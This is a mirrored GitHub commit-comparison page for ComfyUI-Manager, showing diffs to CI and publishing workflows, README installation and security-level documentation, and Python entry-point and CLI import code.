mirror of
https://github.com/Comfy-Org/ComfyUI-Manager.git
synced 2026-07-23 00:07:38 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f4fdd51ce9 | ||
|
|
ae6c7dd673 | ||
|
|
0cbc773126 | ||
|
|
45bd3473fa | ||
|
|
02175844da | ||
|
|
fd60f7ee70 | ||
|
|
9eb4c3ab23 | ||
|
|
72d1aa7d97 | ||
|
|
57628ead80 | ||
|
|
9733c2328b | ||
|
|
70663cecc3 | ||
|
|
7c77942a92 | ||
|
|
04cf18e149 | ||
|
|
1825edda7e | ||
|
|
045f91c411 | ||
|
|
96d24f548c | ||
|
|
c7f03ad64e | ||
|
|
1232989d7d | ||
|
|
8f66a7997f | ||
|
|
f32dd80c24 | ||
|
|
a06ba343de | ||
|
|
bba55d4d5a | ||
|
|
87111bd889 | ||
|
|
3661ffd3ab | ||
|
|
d8f111a5e3 | ||
|
|
ae5565ce68 | ||
|
|
e4c370a7d9 | ||
|
|
891005bcd3 | ||
|
|
d3a4a7a0fa | ||
|
|
10211d1a93 | ||
|
|
7f019a932b | ||
|
|
fae909de2f | ||
|
|
d8455ef6e5 | ||
|
|
934c994783 | ||
|
|
d0961d596d | ||
|
|
382df24764 | ||
|
|
bfcfa42125 | ||
|
|
2333886c34 | ||
|
|
0cdad3c886 | ||
|
|
eee23c543b | ||
|
|
f0a8812f5e | ||
|
|
a8d603f753 | ||
|
|
22acaa1d2c | ||
|
|
fe791ccee9 | ||
|
|
414557eee0 | ||
|
|
97d2741360 | ||
|
|
b95e5f1eae | ||
|
|
43b200dc91 | ||
|
|
29014699bb | ||
|
|
5576672957 | ||
|
|
5002606861 | ||
|
|
ba0fb343ff | ||
|
|
17e5ae6bc2 | ||
|
|
7a0186efc8 | ||
|
|
de64af4a68 | ||
|
|
4a852ac8a8 | ||
|
|
6784bfb98c | ||
|
|
c8f246d344 | ||
|
|
8b3d31a936 | ||
|
|
5e88d6445b | ||
|
|
fd7dff88df | ||
|
|
8cfee1f483 | ||
|
|
cf4d8e6125 | ||
|
|
c0e8a41d2a | ||
|
|
a02c27b1af | ||
|
|
712e1bac0d | ||
|
|
513ea46cbe | ||
|
|
b1919b6f95 | ||
|
|
43561d209b | ||
|
|
16dcbc5412 | ||
|
|
c8dd2d5cad | ||
|
|
4b37777066 | ||
|
|
95ecd85a12 | ||
|
|
5c475e3c15 | ||
|
|
f705ee6863 | ||
|
|
1f67c18989 | ||
|
|
de6d451c5b | ||
|
|
580296d6f3 | ||
|
|
a9e28fbce3 | ||
|
|
311779cb20 | ||
|
|
d2f8a89e87 | ||
|
|
84c95bf322 | ||
|
|
f75c801955 | ||
|
|
faa2f54371 | ||
|
|
4249ac193a | ||
|
|
c709274a28 | ||
|
|
c8f05e79db | ||
|
|
4d2887e99f | ||
|
|
29256a5154 | ||
|
|
82d42e4094 | ||
|
|
53850fb627 | ||
|
|
34b4c8ce46 | ||
|
|
e944841054 | ||
|
|
f6a5ff5552 | ||
|
|
01763b59d4 | ||
|
|
044173b2a1 | ||
|
|
99e7a88dbd | ||
|
|
01cd9fbb0e | ||
|
|
aaed1dc3d5 | ||
|
|
c8dce94c03 | ||
|
|
06496d07b3 | ||
|
|
a97f98c9cc | ||
|
|
8d0406f74f | ||
|
|
c64d14701d | ||
|
|
00332ae444 | ||
|
|
e8deb3d8fe | ||
|
|
8b234c99cf | ||
|
|
1f986d9c45 | ||
|
|
bacb8fb3cd |
@@ -1 +0,0 @@
|
||||
PYPI_TOKEN=your-pypi-token
|
||||
@@ -1,70 +0,0 @@
|
||||
name: CI
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [ main, feat/*, fix/* ]
|
||||
pull_request:
|
||||
branches: [ main ]
|
||||
|
||||
jobs:
|
||||
validate-openapi:
|
||||
name: Validate OpenAPI Specification
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Check if OpenAPI changed
|
||||
id: openapi-changed
|
||||
uses: tj-actions/changed-files@v44
|
||||
with:
|
||||
files: openapi.yaml
|
||||
|
||||
- name: Setup Node.js
|
||||
if: steps.openapi-changed.outputs.any_changed == 'true'
|
||||
uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '18'
|
||||
|
||||
- name: Install Redoc CLI
|
||||
if: steps.openapi-changed.outputs.any_changed == 'true'
|
||||
run: |
|
||||
npm install -g @redocly/cli
|
||||
|
||||
- name: Validate OpenAPI specification
|
||||
if: steps.openapi-changed.outputs.any_changed == 'true'
|
||||
run: |
|
||||
redocly lint openapi.yaml
|
||||
|
||||
code-quality:
|
||||
name: Code Quality Checks
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0 # Fetch all history for proper diff
|
||||
|
||||
- name: Get changed Python files
|
||||
id: changed-py-files
|
||||
uses: tj-actions/changed-files@v44
|
||||
with:
|
||||
files: |
|
||||
**/*.py
|
||||
files_ignore: |
|
||||
comfyui_manager/legacy/**
|
||||
|
||||
- name: Setup Python
|
||||
if: steps.changed-py-files.outputs.any_changed == 'true'
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: '3.9'
|
||||
|
||||
- name: Install dependencies
|
||||
if: steps.changed-py-files.outputs.any_changed == 'true'
|
||||
run: |
|
||||
pip install ruff
|
||||
|
||||
- name: Run ruff linting on changed files
|
||||
if: steps.changed-py-files.outputs.any_changed == 'true'
|
||||
run: |
|
||||
echo "Changed files: ${{ steps.changed-py-files.outputs.all_changed_files }}"
|
||||
echo "${{ steps.changed-py-files.outputs.all_changed_files }}" | xargs -r ruff check
|
||||
@@ -1,74 +0,0 @@
|
||||
name: "E2E Tests on Multiple Platforms"
|
||||
on:
|
||||
push:
|
||||
branches: [main, feat/*, fix/*]
|
||||
paths:
|
||||
- "comfyui_manager/**"
|
||||
- "cm_cli/**"
|
||||
- "tests/e2e/**"
|
||||
- ".github/workflows/e2e.yml"
|
||||
pull_request:
|
||||
branches: [main]
|
||||
paths:
|
||||
- "comfyui_manager/**"
|
||||
- "cm_cli/**"
|
||||
- "tests/e2e/**"
|
||||
- ".github/workflows/e2e.yml"
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
e2e:
|
||||
name: "E2E (${{ matrix.os }}, py${{ matrix.python-version }})"
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 15
|
||||
env:
|
||||
PYTHONIOENCODING: "utf8"
|
||||
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [ubuntu-latest, windows-latest, macos-latest]
|
||||
python-version: ["3.10"]
|
||||
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
|
||||
- name: Install uv
|
||||
uses: astral-sh/setup-uv@v4
|
||||
|
||||
- name: Set E2E_ROOT
|
||||
shell: bash
|
||||
run: |
|
||||
if [[ "$RUNNER_OS" == "Windows" ]]; then
|
||||
echo "E2E_ROOT=$RUNNER_TEMP\\e2e_env" >> "$GITHUB_ENV"
|
||||
else
|
||||
echo "E2E_ROOT=$RUNNER_TEMP/e2e_env" >> "$GITHUB_ENV"
|
||||
fi
|
||||
|
||||
- name: Setup E2E environment
|
||||
shell: bash
|
||||
env:
|
||||
MANAGER_ROOT: ${{ github.workspace }}
|
||||
run: |
|
||||
python tests/e2e/scripts/setup_e2e_env.py
|
||||
|
||||
- name: Run E2E tests
|
||||
shell: bash
|
||||
run: |
|
||||
if [[ "$RUNNER_OS" == "Windows" ]]; then
|
||||
VENV_PY="$E2E_ROOT/venv/Scripts/python.exe"
|
||||
else
|
||||
VENV_PY="$E2E_ROOT/venv/bin/python"
|
||||
fi
|
||||
uv pip install --python "$VENV_PY" pytest pytest-timeout
|
||||
|
||||
"$VENV_PY" -m pytest tests/e2e/test_e2e_uv_compile.py -v -s --timeout=300
|
||||
@@ -4,7 +4,7 @@ on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- manager-v4
|
||||
- draft-v4
|
||||
paths:
|
||||
- "pyproject.toml"
|
||||
|
||||
@@ -21,7 +21,7 @@ jobs:
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v4
|
||||
with:
|
||||
python-version: '3.x'
|
||||
python-version: '3.9'
|
||||
|
||||
- name: Install build dependencies
|
||||
run: |
|
||||
@@ -31,28 +31,28 @@ jobs:
|
||||
- name: Get current version
|
||||
id: current_version
|
||||
run: |
|
||||
CURRENT_VERSION=$(grep -oP '^version = "\K[^"]+' pyproject.toml)
|
||||
CURRENT_VERSION=$(grep -oP 'version = "\K[^"]+' pyproject.toml)
|
||||
echo "version=$CURRENT_VERSION" >> $GITHUB_OUTPUT
|
||||
echo "Current version: $CURRENT_VERSION"
|
||||
|
||||
- name: Build package
|
||||
run: python -m build
|
||||
|
||||
# - name: Create GitHub Release
|
||||
# id: create_release
|
||||
# uses: softprops/action-gh-release@v2
|
||||
# env:
|
||||
# GITHUB_TOKEN: ${{ github.token }}
|
||||
# with:
|
||||
# files: dist/*
|
||||
# tag_name: v${{ steps.current_version.outputs.version }}
|
||||
# draft: false
|
||||
# prerelease: false
|
||||
# generate_release_notes: true
|
||||
- name: Create GitHub Release
|
||||
id: create_release
|
||||
uses: softprops/action-gh-release@v2
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
with:
|
||||
files: dist/*
|
||||
tag_name: v${{ steps.current_version.outputs.version }}
|
||||
draft: false
|
||||
prerelease: false
|
||||
generate_release_notes: true
|
||||
|
||||
- name: Publish to PyPI
|
||||
uses: pypa/gh-action-pypi-publish@76f52bc884231f62b9a034ebfe128415bbaabdfc
|
||||
uses: pypa/gh-action-pypi-publish@release/v1
|
||||
with:
|
||||
password: ${{ secrets.PYPI_TOKEN }}
|
||||
skip-existing: true
|
||||
verbose: true
|
||||
verbose: true
|
||||
@@ -0,0 +1,25 @@
|
||||
name: Publish to Comfy registry
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- main-blocked
|
||||
paths:
|
||||
- "pyproject.toml"
|
||||
|
||||
permissions:
|
||||
issues: write
|
||||
|
||||
jobs:
|
||||
publish-node:
|
||||
name: Publish Custom Node to registry
|
||||
runs-on: ubuntu-latest
|
||||
if: ${{ github.repository_owner == 'ltdrdata' }}
|
||||
steps:
|
||||
- name: Check out code
|
||||
uses: actions/checkout@v4
|
||||
- name: Publish Custom Node
|
||||
uses: Comfy-Org/publish-node-action@v1
|
||||
with:
|
||||
## Add your own personal access token to your Github Repository secrets and reference it here.
|
||||
personal_access_token: ${{ secrets.REGISTRY_ACCESS_TOKEN }}
|
||||
+1
-7
@@ -17,10 +17,4 @@ github-stats-cache.json
|
||||
pip_overrides.json
|
||||
*.json
|
||||
check2.sh
|
||||
/venv/
|
||||
build
|
||||
dist
|
||||
*.egg-info
|
||||
.env
|
||||
.claude
|
||||
test_venv
|
||||
/venv/
|
||||
@@ -1,47 +0,0 @@
|
||||
## Testing Changes
|
||||
|
||||
1. Activate the ComfyUI environment.
|
||||
|
||||
2. Build package locally after making changes.
|
||||
|
||||
```bash
|
||||
# from inside the ComfyUI-Manager directory, with the ComfyUI environment activated
|
||||
python -m build
|
||||
```
|
||||
|
||||
3. Install the package locally in the ComfyUI environment.
|
||||
|
||||
```bash
|
||||
# Uninstall existing package
|
||||
pip uninstall comfyui-manager
|
||||
|
||||
# Install the locale package
|
||||
pip install dist/comfyui-manager-*.whl
|
||||
```
|
||||
|
||||
4. Start ComfyUI.
|
||||
|
||||
```bash
|
||||
# after navigating to the ComfyUI directory
|
||||
python main.py
|
||||
```
|
||||
|
||||
## Manually Publish Test Version to PyPi
|
||||
|
||||
1. Set the `PYPI_TOKEN` environment variable in env file.
|
||||
|
||||
2. If manually publishing, you likely want to use a release candidate version, so set the version in [pyproject.toml](pyproject.toml) to something like `0.0.1rc1`.
|
||||
|
||||
3. Build the package.
|
||||
|
||||
```bash
|
||||
python -m build
|
||||
```
|
||||
|
||||
4. Upload the package to PyPi.
|
||||
|
||||
```bash
|
||||
python -m twine upload dist/* --username __token__ --password $PYPI_TOKEN
|
||||
```
|
||||
|
||||
5. View at https://pypi.org/project/comfyui-manager/
|
||||
-14
@@ -1,14 +0,0 @@
|
||||
include comfyui_manager/js/*
|
||||
include comfyui_manager/*.json
|
||||
include comfyui_manager/glob/*
|
||||
include LICENSE.txt
|
||||
include README.md
|
||||
include requirements.txt
|
||||
include pyproject.toml
|
||||
include custom-node-list.json
|
||||
include extension-node-list.json
|
||||
include extras.json
|
||||
include github-stats.json
|
||||
include model-list.json
|
||||
include alter-list.json
|
||||
include comfyui_manager/channels.list.template
|
||||
@@ -5,7 +5,7 @@
|
||||

|
||||
|
||||
## NOTICE
|
||||
* V4.0: Modify the structure to be installable via pip instead of using git clone.
|
||||
* V3.38: **Security patch** - Manager data migrated to protected path. See [Migration Guide](docs/en/v3.38-userdata-security-migration.md).
|
||||
* V3.16: Support for `uv` has been added. Set `use_uv` in `config.ini`.
|
||||
* V3.10: `double-click feature` is removed
|
||||
* This feature has been moved to https://github.com/ltdrdata/comfyui-connection-helper
|
||||
@@ -14,26 +14,78 @@
|
||||
|
||||
## Installation
|
||||
|
||||
* When installing the latest ComfyUI, it will be automatically installed as a dependency, so manual installation is no longer necessary.
|
||||
### Installation[method1] (General installation method: ComfyUI-Manager only)
|
||||
|
||||
* Manual installation of the nightly version:
|
||||
* Clone to a temporary directory (**Note:** Do **not** clone into `ComfyUI/custom_nodes`.)
|
||||
```
|
||||
git clone https://github.com/Comfy-Org/ComfyUI-Manager
|
||||
```
|
||||
* Install via pip
|
||||
```
|
||||
cd ComfyUI-Manager
|
||||
pip install .
|
||||
```
|
||||
To install ComfyUI-Manager in addition to an existing installation of ComfyUI, you can follow the following steps:
|
||||
|
||||
1. Go to `ComfyUI/custom_nodes` dir in terminal (cmd)
|
||||
2. `git clone https://github.com/ltdrdata/ComfyUI-Manager comfyui-manager`
|
||||
3. Restart ComfyUI
|
||||
|
||||
|
||||
### Installation[method2] (Installation for portable ComfyUI version: ComfyUI-Manager only)
|
||||
1. install git
|
||||
- https://git-scm.com/download/win
|
||||
- standalone version
|
||||
- select option: use windows default console window
|
||||
2. Download [scripts/install-manager-for-portable-version.bat](https://github.com/ltdrdata/ComfyUI-Manager/raw/main/scripts/install-manager-for-portable-version.bat) into installed `"ComfyUI_windows_portable"` directory
|
||||
- Don't click. Right-click the link and choose 'Save As...'
|
||||
3. Double-click `install-manager-for-portable-version.bat` batch file
|
||||
|
||||

|
||||
|
||||
|
||||
### Installation[method3] (Installation through comfy-cli: install ComfyUI and ComfyUI-Manager at once.)
|
||||
> RECOMMENDED: comfy-cli provides various features to manage ComfyUI from the CLI.
|
||||
|
||||
* **prerequisite: python 3, git**
|
||||
|
||||
Windows:
|
||||
```commandline
|
||||
python -m venv venv
|
||||
venv\Scripts\activate
|
||||
pip install comfy-cli
|
||||
comfy install
|
||||
```
|
||||
|
||||
Linux/macOS:
|
||||
```commandline
|
||||
python -m venv venv
|
||||
. venv/bin/activate
|
||||
pip install comfy-cli
|
||||
comfy install
|
||||
```
|
||||
* See also: https://github.com/Comfy-Org/comfy-cli
|
||||
|
||||
|
||||
## Front-end
|
||||
### Installation[method4] (Installation for Linux+venv: ComfyUI + ComfyUI-Manager)
|
||||
|
||||
* The built-in front-end of ComfyUI-Manager is the legacy front-end. The front-end for ComfyUI-Manager is now provided via [ComfyUI Frontend](https://github.com/Comfy-Org/ComfyUI_frontend).
|
||||
* To enable the legacy front-end, set the environment variable `ENABLE_LEGACY_COMFYUI_MANAGER_FRONT` to `true` before running.
|
||||
To install ComfyUI with ComfyUI-Manager on Linux using a venv environment, you can follow these steps:
|
||||
* **prerequisite: python-is-python3, python3-venv, git**
|
||||
|
||||
1. Download [scripts/install-comfyui-venv-linux.sh](https://github.com/ltdrdata/ComfyUI-Manager/raw/main/scripts/install-comfyui-venv-linux.sh) into empty install directory
|
||||
- Don't click. Right-click the link and choose 'Save As...'
|
||||
- ComfyUI will be installed in the subdirectory of the specified directory, and the directory will contain the generated executable script.
|
||||
2. `chmod +x install-comfyui-venv-linux.sh`
|
||||
3. `./install-comfyui-venv-linux.sh`
|
||||
|
||||
### Installation Precautions
|
||||
* **DO**: `ComfyUI-Manager` files must be accurately located in the path `ComfyUI/custom_nodes/comfyui-manager`
|
||||
* Installing in a compressed file format is not recommended.
|
||||
* **DON'T**: Decompress directly into the `ComfyUI/custom_nodes` location, resulting in the Manager contents like `__init__.py` being placed directly in that directory.
|
||||
* You have to remove all ComfyUI-Manager files from `ComfyUI/custom_nodes`
|
||||
* **DON'T**: In a form where decompression occurs in a path such as `ComfyUI/custom_nodes/ComfyUI-Manager/ComfyUI-Manager`.
|
||||
* **DON'T**: In a form where decompression occurs in a path such as `ComfyUI/custom_nodes/ComfyUI-Manager-main`.
|
||||
* In such cases, `ComfyUI-Manager` may operate, but it won't be recognized within `ComfyUI-Manager`, and updates cannot be performed. It also poses the risk of duplicate installations. Remove it and install properly via `git clone` method.
|
||||
|
||||
|
||||
You can execute ComfyUI by running either `./run_gpu.sh` or `./run_cpu.sh` depending on your system configuration.
|
||||
|
||||
## Colab Notebook
|
||||
This repository provides Colab notebooks that allow you to install and use ComfyUI, including ComfyUI-Manager. To use ComfyUI, [click on this link](https://colab.research.google.com/github/ltdrdata/ComfyUI-Manager/blob/main/notebooks/comfyui_colab_with_manager.ipynb).
|
||||
* Support for installing ComfyUI
|
||||
* Support for basic installation of ComfyUI-Manager
|
||||
* Support for automatically installing dependencies of custom nodes upon restarting Colab notebooks.
|
||||
|
||||
|
||||
## How To Use
|
||||
@@ -89,20 +141,27 @@
|
||||
|
||||
|
||||
## Paths
|
||||
In `ComfyUI-Manager` V4.0.3b4 and later, configuration files and dynamically generated files are located under `<USER_DIRECTORY>/__manager/`.
|
||||
Starting from V3.38, Manager uses a protected system path for enhanced security.
|
||||
|
||||
* <USER_DIRECTORY>
|
||||
* If executed without any options, the path defaults to ComfyUI/user.
|
||||
* It can be set using --user-directory <USER_DIRECTORY>.
|
||||
|
||||
* Basic config files: `<USER_DIRECTORY>/__manager/config.ini`
|
||||
* Configurable channel lists: `<USER_DIRECTORY>/__manager/channels.ini`
|
||||
* Configurable pip overrides: `<USER_DIRECTORY>/__manager/pip_overrides.json`
|
||||
* Configurable pip blacklist: `<USER_DIRECTORY>/__manager/pip_blacklist.list`
|
||||
* Configurable pip auto fix: `<USER_DIRECTORY>/__manager/pip_auto_fix.list`
|
||||
* Saved snapshot files: `<USER_DIRECTORY>/__manager/snapshots`
|
||||
* Startup script files: `<USER_DIRECTORY>/__manager/startup-scripts`
|
||||
* Component files: `<USER_DIRECTORY>/__manager/components`
|
||||
| ComfyUI Version | Manager Path |
|
||||
|-----------------|--------------|
|
||||
| v0.3.76+ (with System User API) | `<USER_DIRECTORY>/__manager/` |
|
||||
| Older versions | `<USER_DIRECTORY>/default/ComfyUI-Manager/` |
|
||||
|
||||
* Basic config files: `config.ini`
|
||||
* Configurable channel lists: `channels.list`
|
||||
* Configurable pip overrides: `pip_overrides.json`
|
||||
* Configurable pip blacklist: `pip_blacklist.list`
|
||||
* Configurable pip auto fix: `pip_auto_fix.list`
|
||||
* Saved snapshot files: `snapshots/`
|
||||
* Startup script files: `startup-scripts/`
|
||||
* Component files: `components/`
|
||||
|
||||
> **Note**: See [Migration Guide](docs/en/v3.38-userdata-security-migration.md) for upgrade details.
|
||||
|
||||
|
||||
## `extra_model_paths.yaml` Configuration
|
||||
@@ -115,12 +174,12 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
|
||||
## Snapshot-Manager
|
||||
* When you press `Save snapshot` or use `Update All` on `Manager Menu`, the current installation status snapshot is saved.
|
||||
* Snapshot file dir: `<USER_DIRECTORY>/__manager/snapshots`
|
||||
* Snapshot file dir: `<USER_DIRECTORY>/default/ComfyUI-Manager/snapshots`
|
||||
* You can rename snapshot file.
|
||||
* Press the "Restore" button to revert to the installation status of the respective snapshot.
|
||||
* However, for custom nodes not managed by Git, snapshot support is incomplete.
|
||||
* When you press `Restore`, it will take effect on the next ComfyUI startup.
|
||||
* The selected snapshot file is saved in `<USER_DIRECTORY>/__manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
|
||||
* The selected snapshot file is saved in `<USER_DIRECTORY>/default/ComfyUI-Manager/startup-scripts/restore-snapshot.json`, and upon restarting ComfyUI, the snapshot is applied and then deleted.
|
||||
|
||||

|
||||
|
||||
@@ -169,12 +228,12 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
}
|
||||
```
|
||||
* `<current timestamp>` Ensure that the timestamp is always unique.
|
||||
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/__manager/components`.
|
||||
* "components" should have the same structure as the content of the file stored in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
|
||||
* `<component name>`: The name should be in the format `<prefix>::<node name>`.
|
||||
* `<component node data>`: In the node data of the group node.
|
||||
* `<version>`: Only two formats are allowed: `major.minor.patch` or `major.minor`. (e.g. `1.0`, `2.2.1`)
|
||||
* `<datetime>`: Saved time
|
||||
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/__manager/components`.
|
||||
* `<packname>`: If the packname is not empty, the category becomes packname/workflow, and it is saved in the <packname>.pack file in `<USER_DIRECTORY>/default/ComfyUI-Manager/components`.
|
||||
* `<category>`: If there is neither a category nor a packname, it is saved in the components category.
|
||||
```
|
||||
"version":"1.0",
|
||||
@@ -215,14 +274,13 @@ The following settings are applied based on the section marked as `is_default`.
|
||||
downgrade_blacklist = <Set a list of packages to prevent downgrades. List them separated by commas.>
|
||||
security_level = <Set the security level => strong|normal|normal-|weak>
|
||||
always_lazy_install = <Whether to perform dependency installation on restart even in environments other than Windows.>
|
||||
network_mode = <Set the network mode => public|private|offline|personal_cloud>
|
||||
network_mode = <Set the network mode => public|private|offline>
|
||||
```
|
||||
|
||||
* network_mode:
|
||||
- public: An environment that uses a typical public network.
|
||||
- private: An environment that uses a closed network, where a private node DB is configured via `channel_url`. (Uses cache if available)
|
||||
- offline: An environment that does not use any external connections when using an offline network. (Uses cache if available)
|
||||
- personal_cloud: Applies relaxed security features in cloud environments such as Google Colab or Runpod, where strong security is not required.
|
||||
|
||||
|
||||
## Additional Feature
|
||||
@@ -304,7 +362,7 @@ When you run the `scan.sh` script:
|
||||
|
||||
|
||||
## Troubleshooting
|
||||
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/__manager/config.ini` file that is generated.
|
||||
* If your `git.exe` is installed in a specific location other than system git, please install ComfyUI-Manager and run ComfyUI. Then, specify the path including the file name in `git_exe = ` in the `<USER_DIRECTORY>/default/ComfyUI-Manager/config.ini` file that is generated.
|
||||
* If updating ComfyUI-Manager itself fails, please go to the **ComfyUI-Manager** directory and execute the command `git update-ref refs/remotes/origin/main a361cc1 && git fetch --all && git pull`.
|
||||
* If you encounter the error message `Overlapped Object has pending operation at deallocation on ComfyUI Manager load` under Windows
|
||||
* Edit `config.ini` file: add `windows_selector_event_loop_policy = True`
|
||||
@@ -313,33 +371,31 @@ When you run the `scan.sh` script:
|
||||
|
||||
|
||||
## Security policy
|
||||
|
||||
The security settings are applied based on whether the ComfyUI server's listener is non-local and whether the network mode is set to `personal_cloud`.
|
||||
|
||||
* **non-local**: When the server is launched with `--listen` and is bound to a network range other than the local `127.` range, allowing remote IP access.
|
||||
* **personal\_cloud**: When the `network_mode` is set to `personal_cloud`.
|
||||
|
||||
|
||||
### Risky Level Table
|
||||
|
||||
| Risky Level | features |
|
||||
|-------------|---------------------------------------------------------------------------------------------------------------------------------------|
|
||||
| high+ | * `Install via git url`, `pip install`<BR>* Installation of nodepack registered not in the `default channel`. |
|
||||
| high | * Fix nodepack |
|
||||
| middle+ | * Uninstall/Update<BR>* Installation of nodepack registered in the `default channel`.<BR>* Restore/Remove Snapshot<BR>* Install model |
|
||||
| middle | * Restart |
|
||||
| low | * Update ComfyUI |
|
||||
|
||||
|
||||
### Security Level Table
|
||||
|
||||
| Security Level | local | non-local (personal_cloud) | non-local (not personal_cloud) |
|
||||
|----------------|--------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|--------------------------------|
|
||||
| strong | * Only `weak` level risky features are allowed | * Only `weak` level risky features are allowed | * Only `weak` level risky features are allowed |
|
||||
| normal | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+`, `high` and `middle+` level risky features are not allowed<BR>* `middle` level risky features are available
|
||||
| normal- | * All features are available | * `high+` and `high` level risky features are not allowed<BR>* `middle+` and `middle` level risky features are available | * `high+`, `high` and `middle+` level risky features are not allowed<BR>* `middle` level risky features are available
|
||||
| weak | * All features are available | * All features are available | * `high+` and `middle+` level risky features are not allowed<BR>* `high`, `middle` and `low` level risky features are available
|
||||
|
||||
* Edit `config.ini` file: add `security_level = <LEVEL>`
|
||||
* `strong`
|
||||
* doesn't allow `high` and `middle` level risky feature
|
||||
* `normal`
|
||||
* doesn't allow `high` level risky feature
|
||||
* `middle` level risky feature is available
|
||||
* `normal-`
|
||||
* doesn't allow `high` level risky feature if `--listen` is specified and not starts with `127.`
|
||||
* `middle` level risky feature is available
|
||||
* `weak`
|
||||
* all feature is available
|
||||
|
||||
* `high` level risky features
|
||||
* `Install via git url`, `pip install`
|
||||
* Installation of custom nodes registered not in the `default channel`.
|
||||
* Fix custom nodes
|
||||
|
||||
* `middle` level risky features
|
||||
* Uninstall/Update
|
||||
* Installation of custom nodes registered in the `default channel`.
|
||||
* Restore/Remove Snapshot
|
||||
* Restart
|
||||
|
||||
* `low` level risky features
|
||||
* Update ComfyUI
|
||||
|
||||
|
||||
# Disclaimer
|
||||
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
"""
|
||||
This file is the entry point for the ComfyUI-Manager package, handling CLI-only mode and initial setup.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
cli_mode_flag = os.path.join(os.path.dirname(__file__), '.enable-cli-only-mode')
|
||||
|
||||
if not os.path.exists(cli_mode_flag):
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), "glob"))
|
||||
import manager_server # noqa: F401
|
||||
import share_3rdparty # noqa: F401
|
||||
import cm_global
|
||||
|
||||
if not cm_global.disable_front and not 'DISABLE_COMFYUI_MANAGER_FRONT' in os.environ:
|
||||
WEB_DIRECTORY = "js"
|
||||
else:
|
||||
print("\n[ComfyUI-Manager] !! cli-only-mode is enabled !!\n")
|
||||
|
||||
NODE_CLASS_MAPPINGS = {}
|
||||
__all__ = ['NODE_CLASS_MAPPINGS']
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,6 @@
|
||||
default::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
|
||||
recent::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/new
|
||||
legacy::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/legacy
|
||||
forked::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/forked
|
||||
dev::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/dev
|
||||
tutorial::https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main/node_db/tutorial
|
||||
+99
-397
@@ -15,30 +15,31 @@ import git
|
||||
import importlib
|
||||
|
||||
|
||||
sys.path.append(os.path.dirname(__file__))
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), "glob"))
|
||||
|
||||
import manager_util
|
||||
|
||||
# read env vars
|
||||
# COMFYUI_FOLDERS_BASE_PATH is not required in cm-cli.py
|
||||
# `comfy_path` should be resolved before importing manager_core
|
||||
|
||||
comfy_path = os.environ.get('COMFYUI_PATH')
|
||||
|
||||
if comfy_path is None:
|
||||
print("[bold red]cm-cli: environment variable 'COMFYUI_PATH' is not specified.[/bold red]")
|
||||
exit(-1)
|
||||
try:
|
||||
import folder_paths
|
||||
comfy_path = os.path.join(os.path.dirname(folder_paths.__file__))
|
||||
except:
|
||||
print("\n[bold yellow]WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.[/bold yellow]", file=sys.stderr)
|
||||
comfy_path = os.path.abspath(os.path.join(manager_util.comfyui_manager_path, '..', '..'))
|
||||
|
||||
# This should be placed here
|
||||
sys.path.append(comfy_path)
|
||||
|
||||
if not os.path.exists(os.path.join(comfy_path, 'folder_paths.py')):
|
||||
print("[bold red]cm-cli: '{comfy_path}' is not a valid 'COMFYUI_PATH' location.[/bold red]")
|
||||
exit(-1)
|
||||
|
||||
|
||||
import utils.extra_config
|
||||
from comfyui_manager.common import manager_util
|
||||
from comfyui_manager.common import cm_global
|
||||
from comfyui_manager.legacy import manager_core as core
|
||||
from comfyui_manager.common import context
|
||||
from comfyui_manager.legacy.manager_core import unified_manager
|
||||
from comfyui_manager.common import cnr_utils
|
||||
import cm_global
|
||||
import manager_core as core
|
||||
from manager_core import unified_manager
|
||||
import cnr_utils
|
||||
|
||||
comfyui_manager_path = os.path.abspath(os.path.dirname(__file__))
|
||||
|
||||
